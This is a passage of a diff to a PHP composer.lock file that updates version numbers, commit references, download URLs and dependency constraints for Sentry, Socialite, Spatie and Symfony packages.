"https://github.com/getsentry/sentry-php/tree/4.21.0" }, "funding": [ { @@ -6372,27 +6440,27 @@ "type": "custom" } ], - "time": "2025-12-02T15:57:41+00:00" + "time": "2026-02-24T15:32:51+00:00" }, { "name": "sentry/sentry-laravel", - "version": "4.20.1", + "version": "4.21.0", "source": { "type": "git", "url": "https://github.com/getsentry/sentry-laravel.git", - "reference": "503853fa7ee74b34b64e76f1373db86cd11afe72" + "reference": "4b939116c2d3c5de328f23a5f1dfb97b40e0c17b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/503853fa7ee74b34b64e76f1373db86cd11afe72", - "reference": "503853fa7ee74b34b64e76f1373db86cd11afe72", + "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/4b939116c2d3c5de328f23a5f1dfb97b40e0c17b", + "reference": "4b939116c2d3c5de328f23a5f1dfb97b40e0c17b", "shasum": "" }, "require": { "illuminate/support": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0", "nyholm/psr7": "^1.0", "php": "^7.2 | ^8.0", - "sentry/sentry": "^4.19.0", + "sentry/sentry": "^4.21.0", "symfony/psr-http-message-bridge": "^1.0 | ^2.0 | ^6.0 | ^7.0 | ^8.0" }, "require-dev": { @@ -6405,7 +6473,7 @@ "mockery/mockery": "^1.3", "orchestra/testbench": "^4.7 | ^5.1 | ^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0", "phpstan/phpstan": "^1.10", - "phpunit/phpunit": "^8.4 | ^9.3 | ^10.4 | ^11.5" + "phpunit/phpunit": "^8.5 | ^9.6 | ^10.4 | ^11.5" }, "type": "library", "extra": { @@ -6450,7 +6518,7 @@ ], "support": { "issues": "https://github.com/getsentry/sentry-laravel/issues", - "source": "https://github.com/getsentry/sentry-laravel/tree/4.20.1" + "source": "https://github.com/getsentry/sentry-laravel/tree/4.21.0" }, "funding": [ { @@ -6462,20 +6530,20 @@ "type": "custom" } ], - "time": "2026-01-07T08:53:19+00:00" + "time": "2026-02-26T16:08:52+00:00" }, { "name": "socialiteproviders/authentik", - "version": "5.2.0", + "version": "5.3.0", "source": { "type": "git", "url": "https://github.com/SocialiteProviders/Authentik.git", - "reference": "4cf129cf04728a38e0531c54454464b162f0fa66" + "reference": "4ef0ca226d3be29dc0523f3afc86b63fd6b755b4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/SocialiteProviders/Authentik/zipball/4cf129cf04728a38e0531c54454464b162f0fa66", - "reference": "4cf129cf04728a38e0531c54454464b162f0fa66", + "url": "https://api.github.com/repos/SocialiteProviders/Authentik/zipball/4ef0ca226d3be29dc0523f3afc86b63fd6b755b4", + "reference": "4ef0ca226d3be29dc0523f3afc86b63fd6b755b4", "shasum": "" }, "require": { @@ -6512,7 +6580,7 @@ "issues": "https://github.com/socialiteproviders/providers/issues", "source": "https://github.com/socialiteproviders/providers" }, - "time": "2023-11-07T22:21:16+00:00" + "time": "2026-02-04T14:27:03+00:00" }, { "name": "socialiteproviders/clerk", @@ -7007,29 +7075,29 @@ }, { "name": "spatie/laravel-activitylog", - "version": "4.11.0", + "version": "4.12.1", "source": { "type": "git", "url": "https://github.com/spatie/laravel-activitylog.git", - "reference": "cd7c458f0e128e56eb2d71977d67a846ce4cc10f" + "reference": "bf66b5bbe9a946e977e876420d16b30b9aff1b2d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-activitylog/zipball/cd7c458f0e128e56eb2d71977d67a846ce4cc10f", - "reference": "cd7c458f0e128e56eb2d71977d67a846ce4cc10f", + "url": "https://api.github.com/repos/spatie/laravel-activitylog/zipball/bf66b5bbe9a946e977e876420d16b30b9aff1b2d", + "reference": "bf66b5bbe9a946e977e876420d16b30b9aff1b2d", "shasum": "" }, "require": { - "illuminate/config": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0", - "illuminate/database": "^8.69 || ^9.27 || ^10.0 || ^11.0 || ^12.0", - "illuminate/support": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0", + "illuminate/config": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/database": "^8.69 || ^9.27 || ^10.0 || ^11.0 || ^12.0 || ^13.0", + "illuminate/support": "^8.0 || ^9.0 || ^10.0 || ^11.0 || ^12.0 || ^13.0", "php": "^8.1", "spatie/laravel-package-tools": "^1.6.3" }, "require-dev": { "ext-json": "*", - "orchestra/testbench": "^6.23 || ^7.0 || ^8.0 || ^9.6 || ^10.0", - "pestphp/pest": "^1.20 || ^2.0 || ^3.0" + "orchestra/testbench": "^6.23 || ^7.0 || ^8.0 || ^9.6 || ^10.0 || ^11.0", + "pestphp/pest": "^1.20 || ^2.0 || ^3.0 || ^4.0" }, "type": "library", "extra": { @@ -7082,7 +7150,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-activitylog/issues", - "source": "https://github.com/spatie/laravel-activitylog/tree/4.11.0" + "source": "https://github.com/spatie/laravel-activitylog/tree/4.12.1" }, "funding": [ { @@ -7094,24 +7162,24 @@ "type": "github" } ], - "time": "2026-01-31T12:25:02+00:00" + "time": "2026-02-22T08:37:18+00:00" }, { "name": "spatie/laravel-data", - "version": "4.19.1", + "version": "4.20.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-data.git", - "reference": "41ed0472250676f19440fb24d7b62a8d43abdb89" + "reference": "05b792ab0e059d26eca15d47d199ba6f4c96054e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-data/zipball/41ed0472250676f19440fb24d7b62a8d43abdb89", - "reference": "41ed0472250676f19440fb24d7b62a8d43abdb89", + "url": "https://api.github.com/repos/spatie/laravel-data/zipball/05b792ab0e059d26eca15d47d199ba6f4c96054e", + "reference": "05b792ab0e059d26eca15d47d199ba6f4c96054e", "shasum": "" }, "require": { - "illuminate/contracts": "^10.0|^11.0|^12.0", + "illuminate/contracts": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", "phpdocumentor/reflection": "^6.0", "spatie/laravel-package-tools": "^1.9.0", @@ -7121,10 +7189,10 @@ "fakerphp/faker": "^1.14", "friendsofphp/php-cs-fixer": "^3.0", "inertiajs/inertia-laravel": "^2.0", - "livewire/livewire": "^3.0", + "livewire/livewire": "^3.0|^4.0", "mockery/mockery": "^1.6", "nesbot/carbon": "^2.63|^3.0", - "orchestra/testbench": "^8.37.0|^9.16|^10.9", + "orchestra/testbench": "^8.37.0|^9.16|^10.9|^11.0", "pestphp/pest": "^2.36|^3.8|^4.3", "pestphp/pest-plugin-laravel": "^2.4|^3.0|^4.0", "pestphp/pest-plugin-livewire": "^2.1|^3.0|^4.0", @@ -7168,7 +7236,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-data/issues", - "source": "https://github.com/spatie/laravel-data/tree/4.19.1" + "source": "https://github.com/spatie/laravel-data/tree/4.20.0" }, "funding": [ { @@ -7176,27 +7244,27 @@ "type": "github" } ], - "time": "2026-01-28T13:10:20+00:00" + "time": "2026-02-25T16:18:18+00:00" }, { "name": "spatie/laravel-markdown", - "version": "2.7.1", + "version": "2.8.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-markdown.git", - "reference": "353e7f9fae62826e26cbadef58a12ecf39685280" + "reference": "eabe8c7e31c2739ad0fe63ba04eb2e3189608187" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-markdown/zipball/353e7f9fae62826e26cbadef58a12ecf39685280", - "reference": "353e7f9fae62826e26cbadef58a12ecf39685280", + "url": "https://api.github.com/repos/spatie/laravel-markdown/zipball/eabe8c7e31c2739ad0fe63ba04eb2e3189608187", + "reference": "eabe8c7e31c2739ad0fe63ba04eb2e3189608187", "shasum": "" }, "require": { - "illuminate/cache": "^9.0|^10.0|^11.0|^12.0", - "illuminate/contracts": "^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^9.0|^10.0|^11.0|^12.0", - "illuminate/view": "^9.0|^10.0|^11.0|^12.0", + "illuminate/cache": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/contracts": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/view": "^9.0|^10.0|^11.0|^12.0|^13.0", "league/commonmark": "^2.6.0", "php": "^8.1", "spatie/commonmark-shiki-highlighter": "^2.5", @@ -7205,9 +7273,9 @@ "require-dev": { "brianium/paratest": "^6.2|^7.8", "nunomaduro/collision": "^5.3|^6.0|^7.0|^8.0", - "orchestra/testbench": "^6.15|^7.0|^8.0|^10.0", - "pestphp/pest": "^1.22|^2.0|^3.7", - "phpunit/phpunit": "^9.3|^11.5.3", + "orchestra/testbench": "^6.15|^7.0|^8.0|^10.0|^11.0", + "pestphp/pest": "^1.22|^2.0|^3.7|^4.4", + "phpunit/phpunit": "^9.3|^11.5.3|^12.5.12", "spatie/laravel-ray": "^1.23", "spatie/pest-plugin-snapshots": "^1.1|^2.2|^3.0", "vimeo/psalm": "^4.8|^6.7" @@ -7244,7 +7312,7 @@ "spatie" ], "support": { - "source": "https://github.com/spatie/laravel-markdown/tree/2.7.1" + "source": "https://github.com/spatie/laravel-markdown/tree/2.8.0" }, "funding": [ { @@ -7252,33 +7320,33 @@ "type": "github" } ], - "time": "2025-02-21T13:43:18+00:00" + "time": "2026-02-22T18:53:36+00:00" }, { "name": "spatie/laravel-package-tools", - "version": "1.92.7", + "version": "1.93.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-package-tools.git", - "reference": "f09a799850b1ed765103a4f0b4355006360c49a5" + "reference": "0d097bce95b2bf6802fb1d83e1e753b0f5a948e7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/f09a799850b1ed765103a4f0b4355006360c49a5", - "reference": "f09a799850b1ed765103a4f0b4355006360c49a5", + "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/0d097bce95b2bf6802fb1d83e1e753b0f5a948e7", + "reference": "0d097bce95b2bf6802fb1d83e1e753b0f5a948e7", "shasum": "" }, "require": { - "illuminate/contracts": "^9.28|^10.0|^11.0|^12.0", - "php": "^8.0" + "illuminate/contracts": "^10.0|^11.0|^12.0|^13.0", + "php": "^8.1" }, "require-dev": { "mockery/mockery": "^1.5", - "orchestra/testbench": "^7.7|^8.0|^9.0|^10.0", - "pestphp/pest": "^1.23|^2.1|^3.1", - "phpunit/php-code-coverage": "^9.0|^10.0|^11.0", - "phpunit/phpunit": "^9.5.24|^10.5|^11.5", - "spatie/pest-plugin-test-time": "^1.1|^2.2" + "orchestra/testbench": "^8.0|^9.2|^10.0|^11.0", + "pestphp/pest": "^2.1|^3.1|^4.0", + "phpunit/php-code-coverage": "^10.0|^11.0|^12.0", + "phpunit/phpunit": "^10.5|^11.5|^12.5", + "spatie/pest-plugin-test-time": "^2.2|^3.0" }, "type": "library", "autoload": { @@ -7305,7 +7373,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-package-tools/issues", - "source": "https://github.com/spatie/laravel-package-tools/tree/1.92.7" + "source": "https://github.com/spatie/laravel-package-tools/tree/1.93.0" }, "funding": [ { @@ -7313,29 +7381,29 @@ "type": "github" } ], - "time": "2025-07-17T15:46:43+00:00" + "time": "2026-02-21T12:49:54+00:00" }, { "name": "spatie/laravel-ray", - "version": "1.43.5", + "version": "1.43.6", "source": { "type": "git", "url": "https://github.com/spatie/laravel-ray.git", - "reference": "2003e627d4a17e8411fff18153e47a754f0c028d" + "reference": "117a4addce2cb8adfc01b864435b5b278e2f0c40" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-ray/zipball/2003e627d4a17e8411fff18153e47a754f0c028d", - "reference": "2003e627d4a17e8411fff18153e47a754f0c028d", + "url": "https://api.github.com/repos/spatie/laravel-ray/zipball/117a4addce2cb8adfc01b864435b5b278e2f0c40", + "reference": "117a4addce2cb8adfc01b864435b5b278e2f0c40", "shasum": "" }, "require": { "composer-runtime-api": "^2.2", "ext-json": "*", - "illuminate/contracts": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/database": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/queue": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/database": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/queue": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", "php": "^7.4|^8.0", "spatie/backtrace": "^1.7.1", "spatie/ray": "^1.45.0", @@ -7344,9 +7412,9 @@ }, "require-dev": { "guzzlehttp/guzzle": "^7.3", - "laravel/framework": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0", + "laravel/framework": "^7.20|^8.19|^9.0|^10.0|^11.0|^12.0|^13.0", "laravel/pint": "^1.27", - "orchestra/testbench-core": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0", + "orchestra/testbench-core": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0|^11.0", "pestphp/pest": "^1.22|^2.0|^3.0|^4.0", "phpstan/phpstan": "^1.10.57|^2.0.2", "phpunit/phpunit": "^9.3|^10.1|^11.0.10|^12.4", @@ -7390,7 +7458,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-ray/issues", - "source": "https://github.com/spatie/laravel-ray/tree/1.43.5" + "source": "https://github.com/spatie/laravel-ray/tree/1.43.6" }, "funding": [ { @@ -7402,26 +7470,26 @@ "type": "other" } ], - "time": "2026-01-26T19:05:19+00:00" + "time": "2026-02-19T10:24:51+00:00" }, { "name": "spatie/laravel-schemaless-attributes", - "version": "2.5.1", + "version": "2.6.0", "source": { "type": "git", "url": "https://github.com/spatie/laravel-schemaless-attributes.git", - "reference": "3561875fb6886ae55e5378f20ba5ac87f20b265a" + "reference": "7d17ab5f434ae47324b849e007ce80669966c14e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-schemaless-attributes/zipball/3561875fb6886ae55e5378f20ba5ac87f20b265a", - "reference": "3561875fb6886ae55e5378f20ba5ac87f20b265a", + "url": "https://api.github.com/repos/spatie/laravel-schemaless-attributes/zipball/7d17ab5f434ae47324b849e007ce80669966c14e", + "reference": "7d17ab5f434ae47324b849e007ce80669966c14e", "shasum": "" }, "require": { - "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/database": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/database": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", "php": "^8.0", "spatie/laravel-package-tools": "^1.4.3" }, @@ -7429,9 +7497,9 @@ "brianium/paratest": "^6.2|^7.4", "mockery/mockery": "^1.4", "nunomaduro/collision": "^5.3|^6.0|^8.0", - "orchestra/testbench": "^6.15|^7.0|^8.0|^9.0|^10.0", - "pestphp/pest-plugin-laravel": "^1.3|^2.1|^3.1", - "phpunit/phpunit": "^9.6|^10.5|^11.5|^12.0" + "orchestra/testbench": "^6.15|^7.0|^8.0|^9.0|^10.0|^11.0", + "pestphp/pest-plugin-laravel": "^1.3|^2.1|^3.1|^4.0", + "phpunit/phpunit": "^9.6|^10.5|^11.5|^12.3" }, "type": "library", "extra": { @@ -7466,7 +7534,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-schemaless-attributes/issues", - "source": "https://github.com/spatie/laravel-schemaless-attributes/tree/2.5.1" + "source": "https://github.com/spatie/laravel-schemaless-attributes/tree/2.6.0" }, "funding": [ { @@ -7478,7 +7546,7 @@ "type": "github" } ], - "time": "2025-02-10T09:28:22+00:00" + "time": "2026-02-21T15:13:56+00:00" }, { "name": "spatie/macroable", @@ -7533,29 +7601,29 @@ }, { "name": "spatie/php-structure-discoverer", - "version": "2.3.3", + "version": "2.4.0", "source": { "type": "git", "url": "https://github.com/spatie/php-structure-discoverer.git", - "reference": "552a5b974a9853a32e5677a66e85ae615a96a90b" + "reference": "9a53c79b48fca8b6d15faa8cbba47cc430355146" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/php-structure-discoverer/zipball/552a5b974a9853a32e5677a66e85ae615a96a90b", - "reference": "552a5b974a9853a32e5677a66e85ae615a96a90b", + "url": "https://api.github.com/repos/spatie/php-structure-discoverer/zipball/9a53c79b48fca8b6d15faa8cbba47cc430355146", + "reference": "9a53c79b48fca8b6d15faa8cbba47cc430355146", "shasum": "" }, "require": { - "illuminate/collections": "^11.0|^12.0", + "illuminate/collections": "^11.0|^12.0|^13.0", "php": "^8.3", "spatie/laravel-package-tools": "^1.92.7", "symfony/finder": "^6.0|^7.3.5|^8.0" }, "require-dev": { "amphp/parallel": "^2.3.2", - "illuminate/console": "^11.0|^12.0", + "illuminate/console": "^11.0|^12.0|^13.0", "nunomaduro/collision": "^7.0|^8.8.3", - "orchestra/testbench": "^9.5|^10.8", + "orchestra/testbench": "^9.5|^10.8|^11.0", "pestphp/pest": "^3.8|^4.0", "pestphp/pest-plugin-laravel": "^3.2|^4.0", "phpstan/extension-installer": "^1.4.3", @@ -7600,7 +7668,7 @@ ], "support": { "issues": "https://github.com/spatie/php-structure-discoverer/issues", - "source": "https://github.com/spatie/php-structure-discoverer/tree/2.3.3" + "source": "https://github.com/spatie/php-structure-discoverer/tree/2.4.0" }, "funding": [ { @@ -7608,20 +7676,20 @@ "type": "github" } ], - "time": "2025-11-24T16:41:01+00:00" + "time": "2026-02-21T15:57:15+00:00" }, { "name": "spatie/ray", - "version": "1.45.0", + "version": "1.47.0", "source": { "type": "git", "url": "https://github.com/spatie/ray.git", - "reference": "68920c418d10fe103722d366faa575533d26434f" + "reference": "3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/ray/zipball/68920c418d10fe103722d366faa575533d26434f", - "reference": "68920c418d10fe103722d366faa575533d26434f", + "url": "https://api.github.com/repos/spatie/ray/zipball/3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce", + "reference": "3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce", "shasum": "" }, "require": { @@ -7635,7 +7703,7 @@ "symfony/var-dumper": "^4.2|^5.1|^6.0|^7.0.3|^8.0" }, "require-dev": { - "illuminate/support": "^7.20|^8.18|^9.0|^10.0|^11.0|^12.0", + "illuminate/support": "^7.20|^8.18|^9.0|^10.0|^11.0|^12.0|^13.0", "nesbot/carbon": "^2.63|^3.8.4", "pestphp/pest": "^1.22", "phpstan/phpstan": "^1.10.57|^2.0.3", @@ -7681,7 +7749,7 @@ ], "support": { "issues": "https://github.com/spatie/ray/issues", - "source": "https://github.com/spatie/ray/tree/1.45.0" + "source": "https://github.com/spatie/ray/tree/1.47.0" }, "funding": [ { @@ -7693,7 +7761,7 @@ "type": "other" } ], - "time": "2026-01-26T18:45:30+00:00" + "time": "2026-02-20T20:42:26+00:00" }, { "name": "spatie/shiki-php", @@ -8026,16 +8094,16 @@ }, { "name": "symfony/console", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "41e38717ac1dd7a46b6bda7d6a82af2d98a78894" + "reference": "6d643a93b47398599124022eb24d97c153c12f27" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/41e38717ac1dd7a46b6bda7d6a82af2d98a78894", - "reference": "41e38717ac1dd7a46b6bda7d6a82af2d98a78894", + "url": "https://api.github.com/repos/symfony/console/zipball/6d643a93b47398599124022eb24d97c153c12f27", + "reference": "6d643a93b47398599124022eb24d97c153c12f27", "shasum": "" }, "require": { @@ -8100,7 +8168,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v7.4.4" + "source": "https://github.com/symfony/console/tree/v7.4.6" }, "funding": [ { @@ -8120,20 +8188,20 @@ "type": "tidelift" } ], - "time": "2026-01-13T11:36:38+00:00" + "time": "2026-02-25T17:02:47+00:00" }, { "name": "symfony/css-selector", - "version": "v8.0.0", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/css-selector.git", - "reference": "6225bd458c53ecdee056214cb4a2ffaf58bd592b" + "reference": "2a178bf80f05dbbe469a337730eba79d61315262" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/css-selector/zipball/6225bd458c53ecdee056214cb4a2ffaf58bd592b", - "reference": "6225bd458c53ecdee056214cb4a2ffaf58bd592b", + "url": "https://api.github.com/repos/symfony/css-selector/zipball/2a178bf80f05dbbe469a337730eba79d61315262", + "reference": "2a178bf80f05dbbe469a337730eba79d61315262", "shasum": "" }, "require": { @@ -8169,7 +8237,7 @@ "description": "Converts CSS selectors to XPath expressions", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/css-selector/tree/v8.0.0" + "source": "https://github.com/symfony/css-selector/tree/v8.0.6" }, "funding": [ { @@ -8189,7 +8257,7 @@ "type": "tidelift" } ], - "time": "2025-10-30T14:17:19+00:00" + "time": "2026-02-17T13:07:04+00:00" }, { "name": "symfony/deprecation-contracts", @@ -8503,16 +8571,16 @@ }, { "name": "symfony/filesystem", - "version": "v8.0.1", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/filesystem.git", - "reference": "d937d400b980523dc9ee946bb69972b5e619058d" + "reference": "7bf9162d7a0dff98d079b72948508fa48018a770" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/d937d400b980523dc9ee946bb69972b5e619058d", - "reference": "d937d400b980523dc9ee946bb69972b5e619058d", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/7bf9162d7a0dff98d079b72948508fa48018a770", + "reference": "7bf9162d7a0dff98d079b72948508fa48018a770", "shasum": "" }, "require": { @@ -8549,7 +8617,7 @@ "description": "Provides basic utilities for the filesystem", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/filesystem/tree/v8.0.1" + "source": "https://github.com/symfony/filesystem/tree/v8.0.6" }, "funding": [ { @@ -8569,20 +8637,20 @@ "type": "tidelift" } ], - "time": "2025-12-01T09:13:36+00:00" + "time": "2026-02-25T16:59:43+00:00" }, { "name": "symfony/finder", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/finder.git", - "reference": "ad4daa7c38668dcb031e63bc99ea9bd42196a2cb" + "reference": "8655bf1076b7a3a346cb11413ffdabff50c7ffcf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/finder/zipball/ad4daa7c38668dcb031e63bc99ea9bd42196a2cb", - "reference": "ad4daa7c38668dcb031e63bc99ea9bd42196a2cb", + "url": "https://api.github.com/repos/symfony/finder/zipball/8655bf1076b7a3a346cb11413ffdabff50c7ffcf", + "reference": "8655bf1076b7a3a346cb11413ffdabff50c7ffcf", "shasum": "" }, "require": { @@ -8617,7 +8685,7 @@ "description": "Finds files and directories via an intuitive fluent interface", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/finder/tree/v7.4.5" + "source": "https://github.com/symfony/finder/tree/v7.4.6" }, "funding": [ { @@ -8637,20 +8705,20 @@ "type": "tidelift" } ], - "time": "2026-01-26T15:07:59+00:00" + "time": "2026-01-29T09:40:50+00:00" }, { "name": "symfony/http-foundation", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/http-foundation.git", - "reference": "446d0db2b1f21575f1284b74533e425096abdfb6" + "reference": "fd97d5e926e988a363cef56fbbf88c5c528e9065" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-foundation/zipball/446d0db2b1f21575f1284b74533e425096abdfb6", - "reference": "446d0db2b1f21575f1284b74533e425096abdfb6", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/fd97d5e926e988a363cef56fbbf88c5c528e9065", + "reference": "fd97d5e926e988a363cef56fbbf88c5c528e9065", "shasum": "" }, "require": { @@ -8699,7 +8767,7 @@ "description": "Defines an object-oriented layer for the HTTP specification", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-foundation/tree/v7.4.5" + "source": "https://github.com/symfony/http-foundation/tree/v7.4.6" }, "funding": [ { @@ -8719,20 +8787,20 @@ "type": "tidelift" } ], - "time": "2026-01-27T16:16:02+00:00" + "time": "2026-02-21T16:25:55+00:00" }, { "name": "symfony/http-kernel", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/http-kernel.git", - "reference": "229eda477017f92bd2ce7615d06222ec0c19e82a" + "reference": "002ac0cf4cd972a7fd0912dcd513a95e8a81ce83" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-kernel/zipball/229eda477017f92bd2ce7615d06222ec0c19e82a", - "reference": "229eda477017f92bd2ce7615d06222ec0c19e82a", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/002ac0cf4cd972a7fd0912dcd513a95e8a81ce83", + "reference": "002ac0cf4cd972a7fd0912dcd513a95e8a81ce83", "shasum": "" }, "require": { @@ -8774,7 +8842,7 @@ "symfony/config": "^6.4|^7.0|^8.0", "symfony/console": "^6.4|^7.0|^8.0", "symfony/css-selector": "^6.4|^7.0|^8.0", - "symfony/dependency-injection": "^6.4|^7.0|^8.0", + "symfony/dependency-injection": "^6.4.1|^7.0.1|^8.0", "symfony/dom-crawler": "^6.4|^7.0|^8.0", "symfony/expression-language": "^6.4|^7.0|^8.0", "symfony/finder": "^6.4|^7.0|^8.0", @@ -8818,7 +8886,7 @@ "description": "Provides a structured process for converting a Request into a Response", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-kernel/tree/v7.4.5" + "source": "https://github.com/symfony/http-kernel/tree/v7.4.6" }, "funding": [ { @@ -8838,20 +8906,20 @@ "type": "tidelift" } ], - "time": "2026-01-28T10:33:42+00:00" + "time": "2026-02-26T08:30:57+00:00" }, { "name": "symfony/mailer", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/mailer.git", - "reference": "7b750074c40c694ceb34cb926d6dffee231c5cd6" + "reference": "b02726f39a20bc65e30364f5c750c4ddbf1f58e9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/mailer/zipball/7b750074c40c694ceb34cb926d6dffee231c5cd6", - "reference": "7b750074c40c694ceb34cb926d6dffee231c5cd6", + "url": "https://api.github.com/repos/symfony/mailer/zipball/b02726f39a20bc65e30364f5c750c4ddbf1f58e9", + "reference": "b02726f39a20bc65e30364f5c750c4ddbf1f58e9", "shasum": "" }, "require": { @@ -8902,7 +8970,7 @@ "description": "Helps sending emails", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/mailer/tree/v7.4.4" + "source": "https://github.com/symfony/mailer/tree/v7.4.6" }, "funding": [ { @@ -8922,20 +8990,20 @@ "type": "tidelift" } ], - "time": "2026-01-08T08:25:11+00:00" + "time": "2026-02-25T16:50:00+00:00" }, { "name": "symfony/mime", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/mime.git", - "reference": "b18c7e6e9eee1e19958138df10412f3c4c316148" + "reference": "9fc881d95feae4c6c48678cb6372bd8a7ba04f5f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/mime/zipball/b18c7e6e9eee1e19958138df10412f3c4c316148", - "reference": "b18c7e6e9eee1e19958138df10412f3c4c316148", + "url": "https://api.github.com/repos/symfony/mime/zipball/9fc881d95feae4c6c48678cb6372bd8a7ba04f5f", + "reference": "9fc881d95feae4c6c48678cb6372bd8a7ba04f5f", "shasum": "" }, "require": { @@ -8946,7 +9014,7 @@ }, "conflict": { "egulias/email-validator": "~3.0.0", - "phpdocumentor/reflection-docblock": "<5.2|>=6", + "phpdocumentor/reflection-docblock": "<5.2|>=7", "phpdocumentor/type-resolver": "<1.5.1", "symfony/mailer": "<6.4", "symfony/serializer": "<6.4.3|>7.0,<7.0.3" @@ -8954,7 +9022,7 @@ "require-dev": { "egulias/email-validator": "^2.1.10|^3.1|^4", "league/html-to-markdown": "^5.0", - "phpdocumentor/reflection-docblock": "^5.2", + "phpdocumentor/reflection-docblock": "^5.2|^6.0", "symfony/dependency-injection": "^6.4|^7.0|^8.0", "symfony/process": "^6.4|^7.0|^8.0", "symfony/property-access": "^6.4|^7.0|^8.0", @@ -8991,7 +9059,7 @@ "mime-type" ], "support": { - "source": "https://github.com/symfony/mime/tree/v7.4.5" + "source": "https://github.com/symfony/mime/tree/v7.4.6" }, "funding": [ { @@ -9011,7 +9079,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T08:59:58+00:00" + "time": "2026-02-05T15:57:06+00:00" }, { "name": "symfony/options-resolver", @@ -10151,16 +10219,16 @@ }, { "name": "symfony/routing", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/routing.git", - "reference": "0798827fe2c79caeed41d70b680c2c3507d10147" + "reference": "238d749c56b804b31a9bf3e26519d93b65a60938" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/routing/zipball/0798827fe2c79caeed41d70b680c2c3507d10147", - "reference": "0798827fe2c79caeed41d70b680c2c3507d10147", + "url": 